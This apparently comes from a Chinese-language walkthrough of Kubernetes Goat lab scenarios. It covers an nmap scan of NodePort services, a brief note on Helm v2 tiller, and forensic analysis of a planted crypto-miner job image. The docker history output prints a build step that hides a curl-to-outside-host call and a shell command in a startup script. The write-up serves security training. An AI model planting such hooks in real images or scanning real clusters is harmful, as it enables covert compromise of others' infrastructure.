08:NodePort exposed services

NodePort 暴露的服务

1
2
3
4
5
nmap 192.168.72.129 -sT -p30000-32767


PORT STATE SERVICE
30003/tcp open amicon-fpsu-ra

09:Helm v2 tiller to PwN the cluster

Helm v2 tiller 风险

  • 此方案已被弃用,供学习参考,环境默认是 Helm v3版本,可以安装Helm v2版本来实验

10:Analyzing crypto miner container

分析被部署挖矿软件的容器镜像

  • 查看工作任务详情
1
kubectl describe job batch-check-job

https://gh.putdown.top/https://github.com/futalk/tuchuang/raw/main/img/Snipaste_2023-10-30_15-18-35_d41d8cd98f00b204e9800998ecf8427e.jpg

  • 获取Pod信息
1
kubectl get pods --namespace default -l "job-name=batch-check-job"
  • 获取pod信息manifest并分析
1
kubectl get pod batch-check-job-gpfq4 -o yaml

https://gh.putdown.top/https://github.com/futalk/tuchuang/raw/main/img/Snipaste_2023-10-30_15-22-11_d41d8cd98f00b204e9800998ecf8427e.jpg

  • 找到镜像名称

https://gh.putdown.top/https://github.com/futalk/tuchuang/raw/main/img/Snipaste_2023-10-30_15-23-40_d41d8cd98f00b204e9800998ecf8427e.jpg

  • 通过docker history查看镜像的构建历史记录
1
docker history --no-trunc madhuakula/k8s-goat-batch-check
  • 看到执行的命令
1
2
3
4
5
6
IMAGE                                                                     CREATED         CREATED BY                                                                                                                                                                                                                                                                                 SIZE      COMMENT
sha256:cb43bcb572b74468336c6854282c538e9ac7f2efc294aa3e49ce34fab7a275c7 8 months ago CMD ["ps" "auxx"] 0B buildkit.dockerfile.v0
<missing> 8 months ago RUN /bin/sh -c apk add --no-cache htop curl ca-certificates && echo "curl -sSL https://madhuakula.com/kubernetes-goat/k8s-goat-a5e0a28fa75bf429123943abedb065d1 && echo 'id' | sh " > /usr/bin/system-startup && chmod +x /usr/bin/system-startup && rm -rf /tmp/* # buildkit 2.96MB buildkit.dockerfile.v0
<missing> 8 months ago LABEL MAINTAINER=Madhu Akula INFO=Kubernetes Goat 0B buildkit.dockerfile.v0
<missing> 10 months ago /bin/sh -c #(nop) CMD ["/bin/sh"] 0B
<missing> 10 months ago /bin/sh -c #(nop) ADD file:5d673d25da3a14ce1f6cf66e4c7fd4f4b85a3759a9d93efb3fd9ff852b5b56e4 in / 5.57MB